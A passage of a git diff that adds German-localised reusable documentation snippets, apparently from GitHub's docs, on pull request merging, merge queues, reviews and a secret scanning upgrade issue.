+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "145105907"
+---
+Du kannst festlegen, dass Head-Branches automatisch gelöscht werden, nachdem die Pull Requests in Deinem Repository zusammengeführt wurden. Weitere Informationen findest du unter [Verwalten der automatischen Löschung von Branches](/articles/managing-the-automatic-deletion-of-branches).
diff --git a/translations/de-DE/data/reusables/pull_requests/close-issues-using-keywords.md b/translations/de-DE/data/reusables/pull_requests/close-issues-using-keywords.md
new file mode 100644
index 0000000000..8962685d21
--- /dev/null
+++ b/translations/de-DE/data/reusables/pull_requests/close-issues-using-keywords.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: f5494b0e82ff08be08cda19f3a96533586e428bb
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145090943"
+---
+Du kannst einen Pull Request mit einem Issue verknüpfen, um zu zeigen, dass ein Fix in Arbeit ist und das Issue automatisch zu schließen, wenn jemand den Pull Request mergt. Weitere Informationen findest du unter [Verknüpfen eines Pull Requests mit einem Issue](/github/managing-your-work-on-github/linking-a-pull-request-to-an-issue).
diff --git a/translations/de-DE/data/reusables/pull_requests/code-review-limits.md b/translations/de-DE/data/reusables/pull_requests/code-review-limits.md
new file mode 100644
index 0000000000..024035059b
--- /dev/null
+++ b/translations/de-DE/data/reusables/pull_requests/code-review-limits.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: b5a40e9ee7cd19ab276d86270bcbf75d1f40eea6
+ms.sourcegitcommit: 770ed406ec075528ec9c9695aa4bfdc8c8b25fd3
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/12/2022
+ms.locfileid: "147887150"
+---
+Standardmäßig können Benutzer in öffentlichen Repositorys Reviews übermitteln, die einen Pull Review genehmigen oder Änderungen anfordern. Organisationsbesitzer und Repositoryadministratoren können einschränken, wer Pull Request-Reviews zur Genehmigung durchführen oder Änderungen anfordern kann. Weitere Informationen findest du unter [Verwalten von Pull Request-Reviews in deiner Organisation](/organizations/managing-organization-settings/managing-pull-request-reviews-in-your-organization) und unter [Verwalten von Pull Request-Reviews in deinem Repository](/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/managing-pull-request-reviews-in-your-repository).
diff --git a/translations/de-DE/data/reusables/pull_requests/collect-co-author-commit-git-config-info.md b/translations/de-DE/data/reusables/pull_requests/collect-co-author-commit-git-config-info.md
new file mode 100644
index 0000000000..7ed889f633
--- /dev/null
+++ b/translations/de-DE/data/reusables/pull_requests/collect-co-author-commit-git-config-info.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: d9030f155d06ab735fe1c6c33c3b99a262c8c92f
+ms.sourcegitcommit: 478f2931167988096ae6478a257f492ecaa11794
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/09/2022
+ms.locfileid: "147876910"
+---
+1. Erfasse den Namen und die E-Mail-Adresse aller Co-Autoren.{% ifversion fpt or ghec %} Wenn eine Person ihre E-Mail-Adresse privat halten möchte, solltest du die von {% data variables.product.product_name %} bereitgestellte `no-reply`-E-Mail-Adresse dieser Person verwenden, um ihre Privatsphäre zu schützen.{% endif %}
diff --git a/translations/de-DE/data/reusables/pull_requests/configure_pull_request_merges_intro.md b/translations/de-DE/data/reusables/pull_requests/configure_pull_request_merges_intro.md
new file mode 100644
index 0000000000..48ec676b37
--- /dev/null
+++ b/translations/de-DE/data/reusables/pull_requests/configure_pull_request_merges_intro.md
@@ -0,0 +1 @@
+You can configure pull request merge options on {% data variables.location.product_location %} to meet your workflow needs and preferences for managing Git history. For more information, see "[Configuring pull request merges](/articles/configuring-pull-request-merges)."
diff --git a/translations/de-DE/data/reusables/pull_requests/decide-how-to-resolve-competing-line-change-merge-conflict.md b/translations/de-DE/data/reusables/pull_requests/decide-how-to-resolve-competing-line-change-merge-conflict.md
new file mode 100644
index 0000000000..901035d7ca
--- /dev/null
+++ b/translations/de-DE/data/reusables/pull_requests/decide-how-to-resolve-competing-line-change-merge-conflict.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 443afeca8366b2b9edf488bd1796a6497fad54fd
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145090937"
+---
+1. Entscheide, ob du nur die Änderungen deines Branch beibehalten, nur die Änderungen des anderen Branch beibehalten oder eine brandneue Änderung erstellen möchtest, die die Änderungen aus beiden Branches beinhalten kann. Lösche die Konfliktmarker `<<<<<<<`, `=======` und `>>>>>>>`, und nimm die gewünschten Änderungen im endgültigen Merge vor.
diff --git a/translations/de-DE/data/reusables/pull_requests/default-commit-message-squash-merge.md b/translations/de-DE/data/reusables/pull_requests/default-commit-message-squash-merge.md
new file mode 100644
index 0000000000..82306edec2
--- /dev/null
+++ b/translations/de-DE/data/reusables/pull_requests/default-commit-message-squash-merge.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: de247df24383306870f399d04db5c308da37a6b7
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145105899"
+---
+Informationen zu den Standardcommitnachrichten für Squashmerges findest du unter [Informationen zu Pull Request-Merges](/github/collaborating-with-issues-and-pull-requests/about-pull-request-merges#merge-message-for-a-squash-merge).
diff --git a/translations/de-DE/data/reusables/pull_requests/default_merge_option.md b/translations/de-DE/data/reusables/pull_requests/default_merge_option.md
new file mode 100644
index 0000000000..7336d235d6
--- /dev/null
+++ b/translations/de-DE/data/reusables/pull_requests/default_merge_option.md
@@ -0,0 +1,5 @@
+When you click the default **Merge pull request** option on a pull request on {% data variables.location.product_location %}, all commits from the feature branch are added to the base branch in a merge commit. The pull request is merged using [the `--no-ff` option](https://git-scm.com/docs/git-merge#_fast_forward_merge).
+
+To merge pull requests, you must have [write permissions](/articles/repository-permission-levels-for-an-organization/) in the repository.
+
+![standard-merge-commit-diagram](/assets/images/help/pull_requests/standard-merge-commit-diagram.png)
diff --git a/translations/de-DE/data/reusables/pull_requests/dismiss_review.md b/translations/de-DE/data/reusables/pull_requests/dismiss_review.md
new file mode 100644
index 0000000000..50d4a7b134
--- /dev/null
+++ b/translations/de-DE/data/reusables/pull_requests/dismiss_review.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 3c66ad9812762429b6d22d2399df36cf68da1fb1
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "145105896"
+---
+Wenn ein Pull Request seit seinem letzten Review geändert wurde und die Person, welche die Änderungen angefordert hat, nicht verfügbar ist, um den Review zu genehmigen, kann ein Review durch Repository-Administratoren oder durch Personen verworfen werden, die über Schreibzugriff verfügen.
diff --git a/translations/de-DE/data/reusables/pull_requests/issues-media-types.md b/translations/de-DE/data/reusables/pull_requests/issues-media-types.md
new file mode 100644
index 0000000000..1aa78e4f70
--- /dev/null
+++ b/translations/de-DE/data/reusables/pull_requests/issues-media-types.md
@@ -0,0 +1,18 @@
+---
+ms.openlocfilehash: 0e58e5904bbff65341fbe4221fa03ea96e032c42
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "145090906"
+---
+### Benutzerdefinierte Medientypen
+
+Die folgenden Medientypen werden für diese API unterstützt:
+
+    application/vnd.github.VERSION.raw+json
+    application/vnd.github.VERSION.text+json
+    application/vnd.github.VERSION.html+json
+    application/vnd.github.VERSION.full+json
+
+Weitere Informationen zu Medientypen findest du unter [Benutzerdefinierte Medientypen](/rest/overview/media-types).
diff --git a/translations/de-DE/data/reusables/pull_requests/issues-pr-shared-api.md b/translations/de-DE/data/reusables/pull_requests/issues-pr-shared-api.md
new file mode 100644
index 0000000000..ddfbe44e81
--- /dev/null
+++ b/translations/de-DE/data/reusables/pull_requests/issues-pr-shared-api.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 78bea8e115f68c64106496a8953418acb70f04af
+ms.sourcegitcommit: 5b1461b419dbef60ae9dbdf8e905a4df30fc91b7
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "147876978"
+---
+Jeder Pull Request ist ein Issue, aber nicht jedes Issue ist ein Pull Request. Aus diesem Grund werden „freigegebene“ Aktionen für beide Features (z. B. das Verwalten von Zuweisungen, Bezeichnungen und Meilensteinen) in der Issues-API bereitgestellt.
diff --git a/translations/de-DE/data/reusables/pull_requests/large-search-workaround.md b/translations/de-DE/data/reusables/pull_requests/large-search-workaround.md
new file mode 100644
index 0000000000..e43b162cf9
--- /dev/null
+++ b/translations/de-DE/data/reusables/pull_requests/large-search-workaround.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 49ee5fd318b31dd1af150ae052c313a71f427cf9
+ms.sourcegitcommit: 5b1461b419dbef60ae9dbdf8e905a4df30fc91b7
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "147876977"
+---
+Wenn du auf Pull Requests in mehr als 10.000 Repositorys zugreifen kannst, musst du deine Suche auf eine bestimmte Organisation, ein bestimmtes persönliches Konto oder Repository beschränken, damit Ergebnisse angezeigt werden.
diff --git a/translations/de-DE/data/reusables/pull_requests/mark-ready-review.md b/translations/de-DE/data/reusables/pull_requests/mark-ready-review.md
new file mode 100644
index 0000000000..25bcb89c4d
--- /dev/null
+++ b/translations/de-DE/data/reusables/pull_requests/mark-ready-review.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 6aa7979671f18000b58f29bf509a37d85f612ac6
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145105888"
+---
+Wenn Du bereit bist, Feedback zu Deinem Pull Request zu erhalten, kannst Du Deinen Entwurf des Pull Requests als zur Überprüfung bereit markieren. Wenn Du einen Pull Request als bereit zur Überprüfung markierst, werden Reviews von allen Codeinhabern angefordert.
diff --git a/translations/de-DE/data/reusables/pull_requests/merge-queue-beta.md b/translations/de-DE/data/reusables/pull_requests/merge-queue-beta.md
new file mode 100644
index 0000000000..2146595d11
--- /dev/null
+++ b/translations/de-DE/data/reusables/pull_requests/merge-queue-beta.md
@@ -0,0 +1,15 @@
+---
+ms.openlocfilehash: 85db1024fd3a47bebaf0a6fef56843c8be2509a9
+ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/25/2022
+ms.locfileid: "148008187"
+---
+{% ifversion fpt or ghec %} {% note %}
+
+**Hinweis**: Das Warteschlangenfeature für das Mergen von Pull Requests befindet sich derzeit in der eingeschränkten öffentlichen Betaphase und kann jederzeit geändert werden.
+
+{% endnote %}
+
+{% endif %}
diff --git a/translations/de-DE/data/reusables/pull_requests/merge-queue-merging-method.md b/translations/de-DE/data/reusables/pull_requests/merge-queue-merging-method.md
new file mode 100644
index 0000000000..d2ed3f7238
--- /dev/null
+++ b/translations/de-DE/data/reusables/pull_requests/merge-queue-merging-method.md
@@ -0,0 +1,11 @@
+---
+ms.openlocfilehash: 212b7ec4b98962469e781e3ea9962d32486021c0
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "147062378"
+---
+{% data variables.product.product_name %} mergt den Pull Request gemäß der im Branchschutz konfigurierten Mergestrategie, sobald alle erforderlichen CI-Überprüfungen mit Erfolg durchgeführt wurden.
+
+![Mergemethode der Mergewarteschlange](/assets/images/help/pull_requests/merge-queue-merging-method.png)
diff --git a/translations/de-DE/data/reusables/pull_requests/merge-queue-overview.md b/translations/de-DE/data/reusables/pull_requests/merge-queue-overview.md
new file mode 100644
index 0000000000..2c9e7b3a9e
--- /dev/null
+++ b/translations/de-DE/data/reusables/pull_requests/merge-queue-overview.md
@@ -0,0 +1,13 @@
+---
+ms.openlocfilehash: 9960ade469b1d52c0f880067e4dd449082b190c6
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145090895"
+---
+Eine Mergewarteschlange kann die Geschwindigkeit erhöhen, mit der Pull Requests in einem stark ausgelasteten Zielbranch gemergt werden, während gleichzeitig sichergestellt wird, dass alle erforderlichen Prüfungen zum Schutz des Branches bestanden wurden.
+
+Sobald ein Pull Request alle erforderlichen Prüfungen zum Schutz der Branches bestanden hat, kann ein Benutzer mit Schreibzugriff auf das Repository diesen Pull Request einer Mergewarteschlange hinzufügen.
+
+Eine Mergewarteschlange kann {% data variables.product.prodname_actions %} verwenden. Weitere Informationen findest du unter [{% data variables.product.prodname_actions %}](/actions/).
diff --git a/translations/de-DE/data/reusables/pull_requests/merge-queue-references.md b/translations/de-DE/data/reusables/pull_requests/merge-queue-references.md
new file mode 100644
index 0000000000..4afcfdc7fe
--- /dev/null
+++ b/translations/de-DE/data/reusables/pull_requests/merge-queue-references.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: 2807a1fe0d2c6efd7d779b0f900317e839ca2c0f
+ms.sourcegitcommit: 80842b4e4c500daa051eff0ccd7cde91c2d4bb36
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "147884704"
+---
+
+Informationen zur Mergewarteschlange findest du unter [Verwalten einer Mergewarteschlange](/repositories/configuring-branches-and-merges-in-your-repository/configuring-pull-request-merges/managing-a-merge-queue).
diff --git a/translations/de-DE/data/reusables/pull_requests/merge-queue-reject.md b/translations/de-DE/data/reusables/pull_requests/merge-queue-reject.md
new file mode 100644
index 0000000000..f04bf58382
--- /dev/null
+++ b/translations/de-DE/data/reusables/pull_requests/merge-queue-reject.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: 0eec914324e0088750f264f0df02c707574b2f2e
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145090894"
+---
+
+Wenn ein Pull Request mit der neuesten Version des Zielbranchs und den vorhergehenden Änderungen in der Warteschlange gruppiert wurde und die erforderlichen Statusprüfungen fehlgeschlagen sind oder Konflikte mit dem Basisbranch bestehen, entfernt {% data variables.product.product_name %} den Pull Request aus der Warteschlange. In der Zeitachse des Pull Requests wird angezeigt, warum der Pull Request aus der Warteschlange entfernt wurde.
diff --git a/translations/de-DE/data/reusables/pull_requests/perms-to-open-pull-request.md b/translations/de-DE/data/reusables/pull_requests/perms-to-open-pull-request.md
new file mode 100644
index 0000000000..91a73f11e2
--- /dev/null
+++ b/translations/de-DE/data/reusables/pull_requests/perms-to-open-pull-request.md
@@ -0,0 +1,17 @@
+---
+ms.openlocfilehash: b36f385f08632181d3a4cc7150e655683bc016f1
+ms.sourcegitcommit: 770ed406ec075528ec9c9695aa4bfdc8c8b25fd3
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/12/2022
+ms.locfileid: "147887158"
+---
+{% ifversion fpt or ghec %}
+
+{% note %}
+
+**Hinweis**: Um einen Pull Request in einem öffentlichen Repository zu öffnen, musst du Schreibzugriff auf den Haupt- oder den Quellbranch besitzen. Bei organisationseigenen Repositorys musst du Mitglied der Organisation sein, die das Repository besitzt, in dem ein Pull Request geöffnet werden soll.
+
+{% endnote %}
+
+{% endif %}
diff --git a/translations/de-DE/data/reusables/pull_requests/pull_request_merges_and_contributions.md b/translations/de-DE/data/reusables/pull_requests/pull_request_merges_and_contributions.md
new file mode 100644
index 0000000000..e157092539
--- /dev/null
+++ b/translations/de-DE/data/reusables/pull_requests/pull_request_merges_and_contributions.md
@@ -0,0 +1,7 @@
+{% note %}
+
+**Notes:**{% ifversion ghes or ghae %}
+- To appear on your profile contributions graph, co-authored commits must meet the same criteria as commits with one author.{% endif %}
+- When rebasing commits, the original authors of the commit and the person who rebased the commits, whether on the command line or on {% data variables.location.product_location %}, receive contribution credit.
+
+{% endnote %}
diff --git a/translations/de-DE/data/reusables/pull_requests/re-request-review.md b/translations/de-DE/data/reusables/pull_requests/re-request-review.md
new file mode 100644
index 0000000000..da2c5e8d24
--- /dev/null
+++ b/translations/de-DE/data/reusables/pull_requests/re-request-review.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: c826e4d60a8fbaee21ed9cee18e45378990b6d99
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "145105867"
+---
+Du kannst beispielsweise einen Review erneut anfordern, nachdem du erhebliche Änderungen an deinem Pull Request vorgenommen hast.
+Um einen neuen Review von einem Reviewer anzufordern, klicke auf der Randleiste der Registerkarte **Unterhaltung** auf das Symbol {% octicon "sync" aria-label="The sync icon" %}.
diff --git a/translations/de-DE/data/reusables/pull_requests/rebase_and_merge_summary.md b/translations/de-DE/data/reusables/pull_requests/rebase_and_merge_summary.md
new file mode 100644
index 0000000000..93a7e1e17f
--- /dev/null
+++ b/translations/de-DE/data/reusables/pull_requests/rebase_and_merge_summary.md
@@ -0,0 +1,7 @@
+When you select the **Rebase and merge** option on a pull request on {% data variables.location.product_location %}, all commits from the topic branch (or head branch) are added onto the base branch individually without a merge commit. In that way, the rebase and merge behavior resembles a [fast-forward merge](https://git-scm.com/docs/git-merge#_fast_forward_merge) by maintaining a linear project history. However, rebasing achieves this by re-writing the commit history on the base branch with new commits.
+
+The rebase and merge behavior on {% data variables.product.product_name %} deviates slightly from `git rebase`. Rebase and merge on {% data variables.product.prodname_dotcom %} will always update the committer information and create new commit SHAs, whereas `git rebase` outside of {% data variables.product.prodname_dotcom %} does not change the committer information when the rebase happens on top of an ancestor commit. For more information about `git rebase`, see [git-rebase](https://git-scm.com/docs/git-rebase) in the Git documentation.
+
+To rebase and merge pull requests, you must have [write permissions](/articles/repository-permission-levels-for-an-organization/) in the repository, and the repository must [allow rebase merging](/articles/configuring-commit-rebasing-for-pull-requests/).
+
+For a visual representation of `git rebase`, see [The "Git Branching - Rebasing" chapter from the _Pro Git_ book](https://git-scm.com/book/en/Git-Branching-Rebasing).
diff --git a/translations/de-DE/data/reusables/pull_requests/rebase_and_merge_verification.md b/translations/de-DE/data/reusables/pull_requests/rebase_and_merge_verification.md
new file mode 100644
index 0000000000..644d922808
--- /dev/null
+++ b/translations/de-DE/data/reusables/pull_requests/rebase_and_merge_verification.md
@@ -0,0 +1,11 @@
+---
+ms.openlocfilehash: 038896fa537c7cc3ea3fa95e903900a9eb8f3db7
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "145917061"
+---
+Wenn du die Option **Rebase und Merge** für einen Pull Request verwendest, ist es wichtig zu wissen, dass die Commits im Headbranch ohne Überprüfung der Commitsignatur dem Basisbranch hinzugefügt werden. Wenn du diese Option verwendest, erstellt {% data variables.product.prodname_dotcom %} einen geänderten Commit unter Verwendung der Daten und des Inhalts des ursprünglichen Commits. Das bedeutet, dass {% data variables.product.prodname_dotcom %} diesen Commit nicht wirklich erstellt hat und ihn daher nicht als generischer Systembenutzer signieren kann. {% data variables.product.prodname_dotcom %} hat keinen Zugriff auf die privaten Signaturschlüssel des Committers und kann daher den Commit nicht im Auftrag des Benutzers signieren.
+
+Ein Workaround dafür ist, dass du lokal einen Rebase- und Mergevorgang durchführst und die Änderungen dann in den Basisbranch des Pull Requests pushst.
diff --git a/translations/de-DE/data/reusables/pull_requests/required-checks-must-pass-to-merge.md b/translations/de-DE/data/reusables/pull_requests/required-checks-must-pass-to-merge.md
new file mode 100644
index 0000000000..56f109a23a
--- /dev/null
+++ b/translations/de-DE/data/reusables/pull_requests/required-checks-must-pass-to-merge.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: c7f04cfa5c2b0eab8c990f595c1247fe72217ce5
+ms.sourcegitcommit: 9a7b3a9ccb983af5df2cd94da7fecf7a8237529b
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/09/2022
+ms.locfileid: "147876757"
+---
+Wenn Statusprüfungen für ein Repository erforderlich sind, müssen die erforderlichen Statusprüfungen bestanden werden, bevor Du Deinen Branch mit der geschützten Branch zusammenführen kannst. Weitere Informationen findest du unter [Informationen zu geschützten Branches](/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/about-protected-branches#require-status-checks-before-merging).
diff --git a/translations/de-DE/data/reusables/pull_requests/required-reviews-for-prs-summary.md b/translations/de-DE/data/reusables/pull_requests/required-reviews-for-prs-summary.md
new file mode 100644
index 0000000000..0d276da161
--- /dev/null
+++ b/translations/de-DE/data/reusables/pull_requests/required-reviews-for-prs-summary.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 0a4745a59266ba23a3ccc0ea892356a6cb503f17
+ms.sourcegitcommit: 5b1461b419dbef60ae9dbdf8e905a4df30fc91b7
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "147878971"
+---
+Repositoryadministratoren können erfordern, dass alle Pull Requests eine bestimmte Anzahl von Bewertungen erhalten, bevor jemand den Pull Request in einen geschützten Branch zusammenführt. Du kannst die Genehmigung von Bewertungen von Personen mit Schreibberechtigungen im Repository oder von einem bestimmten Codebesitzer anfordern.
diff --git a/translations/de-DE/data/reusables/pull_requests/resolving-conversations.md b/translations/de-DE/data/reusables/pull_requests/resolving-conversations.md
new file mode 100644
index 0000000000..f8962ad21a
--- /dev/null
+++ b/translations/de-DE/data/reusables/pull_requests/resolving-conversations.md
@@ -0,0 +1,21 @@
+### Resolving conversations
+
+You can resolve a conversation in a pull request if you opened the pull request or if you have write access to the repository where the pull request was opened.
+
+To indicate that a conversation on the **Files changed** tab is complete, click **Resolve conversation**.
+
+![Pull request conversation with Resolve conversation button](/assets/images/help/pull_requests/conversation-with-resolve-button.png)
+
+The entire conversation will be collapsed and marked as resolved, making it easier to find conversations that still need to be addressed.
+
+![Resolved conversation](/assets/images/help/pull_requests/resolved-conversation.png)
+
+If the suggestion in a comment is out of your pull request's scope, you can open a new issue that tracks the feedback and links back to the original comment. For more information, see "[Opening an issue from a comment](/github/managing-your-work-on-github/opening-an-issue-from-a-comment)."
+
+#### Discovering and navigating conversations
+
+You can discover and navigate to all the conversations in your pull request using the **Conversations** menu that's shown at the top of the **Files Changed** tab.
+
+From this view, you can see which conversations are unresolved, resolved, and outdated. This makes it easy to discover and resolve conversations.
+
+![Showing the conversations menu](/assets/images/help/pull_requests/conversations-menu.png)
diff --git a/translations/de-DE/data/reusables/pull_requests/retargeted-on-branch-deletion.md b/translations/de-DE/data/reusables/pull_requests/retargeted-on-branch-deletion.md
new file mode 100644
index 0000000000..58b57f4941
--- /dev/null
+++ b/translations/de-DE/data/reusables/pull_requests/retargeted-on-branch-deletion.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: c006e6c46461dc27643f39f4750489d513734010
+ms.sourcegitcommit: 5f9527483381cfb1e41f2322f67c80554750a47d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "147882995"
+---
+Wenn du einen Haupt-Branch löschst, nachdem sein Pull Request zusammengeführt wurde, wird {% data variables.product.prodname_dotcom %} auf offene Pull Requests für das gleiche Repository prüfen, die den gelöschten Branch als ihren Basis-Branch angeben. {% data variables.product.prodname_dotcom %} aktualisiert solche Pull Requests automatisch, indem es deren Basis-Branch auf den Basis-Branch des zusammengeführten Pull Requests ändert.
diff --git a/translations/de-DE/data/reusables/pull_requests/retention-checks-data.md b/translations/de-DE/data/reusables/pull_requests/retention-checks-data.md
new file mode 100644
index 0000000000..8ef28a12e7
--- /dev/null
+++ b/translations/de-DE/data/reusables/pull_requests/retention-checks-data.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: f95dd69778640ad4be04e0bfdab340d351845c38
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "147066010"
+---
+Überprüft, ob Daten archiviert werden, die älter sind als 400 Tage. Im Rahmen des Archivierungsprozesses erstellt {% data variables.product.prodname_dotcom %} einen Rollupcommitstatus, der den Status aller Prüfungen für diesen Commit darstellt. Dies hat zur Folge, dass das Mergefeld in jedem Pull Request mit erforderlichen archivierten Prüfungen blockiert ist, und du die Prüfungen erneut durchführen musst, bevor du den Pull Request mergen kannst.
diff --git a/translations/de-DE/data/reusables/pull_requests/squash_and_merge_summary.md b/translations/de-DE/data/reusables/pull_requests/squash_and_merge_summary.md
new file mode 100644
index 0000000000..b0f3fc47cc
--- /dev/null
+++ b/translations/de-DE/data/reusables/pull_requests/squash_and_merge_summary.md
@@ -0,0 +1,7 @@
+When you select the **Squash and merge** option on a pull request on {% data variables.location.product_location %}, the pull request's commits are squashed into a single commit. Instead of seeing all of a contributor's individual commits from a topic branch, the commits are combined into one commit and merged into the default branch. Pull requests with squashed commits are merged using the [fast-forward option](https://git-scm.com/docs/git-merge#_fast_forward_merge).
+
+To squash and merge pull requests, you must have [write permissions](/articles/repository-permission-levels-for-an-organization/) in the repository, and the repository must [allow squash merging](/articles/configuring-commit-squashing-for-pull-requests/).
+
+![commit-squashing-diagram](/assets/images/help/pull_requests/commit-squashing-diagram.png)
+
+You can use squash and merge to create a more streamlined Git history in your repository. Work-in-progress commits are helpful when working on a feature branch, but they aren’t necessarily important to retain in the Git history. If you squash these commits into one commit while merging to the default branch, you can retain the original changes with a clear Git history.
diff --git a/translations/de-DE/data/reusables/pull_requests/you-can-auto-merge.md b/translations/de-DE/data/reusables/pull_requests/you-can-auto-merge.md
new file mode 100644
index 0000000000..a8f4251831
--- /dev/null
+++ b/translations/de-DE/data/reusables/pull_requests/you-can-auto-merge.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: b85a35f46d4164378f110269da2b5515caa963ef
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "145090852"
+---
+Du kannst einen Pull Request konfigurieren, um automatisch zusammenzuführen, wenn alle Zusammenführungsanforderungen erfüllt sind. Weitere Informationen findest du unter [Automatisches Zusammenführen eines Pull Requests](/github/collaborating-with-issues-and-pull-requests/automatically-merging-a-pull-request).
diff --git a/translations/de-DE/data/reusables/release-notes/ghas-3.4-secret-scanning-known-issue.md b/translations/de-DE/data/reusables/release-notes/ghas-3.4-secret-scanning-known-issue.md
new file mode 100644
index 0000000000..04d9906902
--- /dev/null
+++ b/translations/de-DE/data/reusables/release-notes/ghas-3.4-secret-scanning-known-issue.md
@@ -0,0 +1,16 @@
+{% ifversion ghes < 3.5 %}
+
+In some cases, GitHub Advanced Security customers who upgrade to GitHub Enterprise Server 3.5 or later may notice that alerts from secret scanning are missing in the web UI and REST API. To ensure the alerts remain visible, do not skip 3.4 when you upgrade from an earlier release to 3.5 or later. A fix is available in the [3.5.5](/enterprise-server@3.5/admin/release-notes#3.5.5) and [3.6.1](/enterprise-server@3.6/admin/release-notes#3.6.1) patch releases.
+
+To plan an upgrade through 3.4, see the [Upgrade assistant](https://support.github.com/enterprise/server-upgrade). [Updated: 2022-09-01]
+
+{% elsif ghes = 3.5 or ghes = 3.6 %}
+
+In some cases, GitHub Advanced Security customers who upgrade to GitHub Enterprise Server {{ allVersions[currentVersion].currentRelease }} may notice that alerts from secret scanning are missing in the web UI and REST API. To ensure the alerts remain visible, do not skip 3.4 as you upgrade to the latest release. To plan an upgrade through 3.4, see the [Upgrade assistant](https://support.github.com/enterprise/server-upgrade).
+
+- To display the missing alerts for all repositories owned by an organization, organization owners can navigate to the organization's **Code security and analysis** settings, then click **Enable all** for secret scanning. For more information, see "[Managing security and analysis settings for your organization](/organizations/keeping-your-organization-secure/managing-security-settings-for-your-organization/managing-security-and-analysis-settings-for-your-organization#enabling-or-disabling-a-feature-for-all-existing-repositories)."
+- To display the missing alerts for an individual repository, people with admin access to the repository can disable then enable secret scanning for the repository. For more information, see "[Managing security and analysis settings for your repository](/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-security-and-analysis-settings-for-your-repository)."
+
+A fix is available in the {% ifversion ghes = 3.5 %}[3.5.5](/admin/release-notes#3.5.5){% elsif ghes = 3.6 %}[3.6.1](/admin/release-notes#3.6.1){% endif %} patch release. [Updated: 2022-09-01]
+
+{% endif %}
diff --git a/translations/de-DE/data/reusables/releases/previous-release-tag.md b/translations/de-DE/data/reusables/releases/previous-release-tag.md
new file mode 100644
index 0000000000..f2fe69b584
--- /dev/null
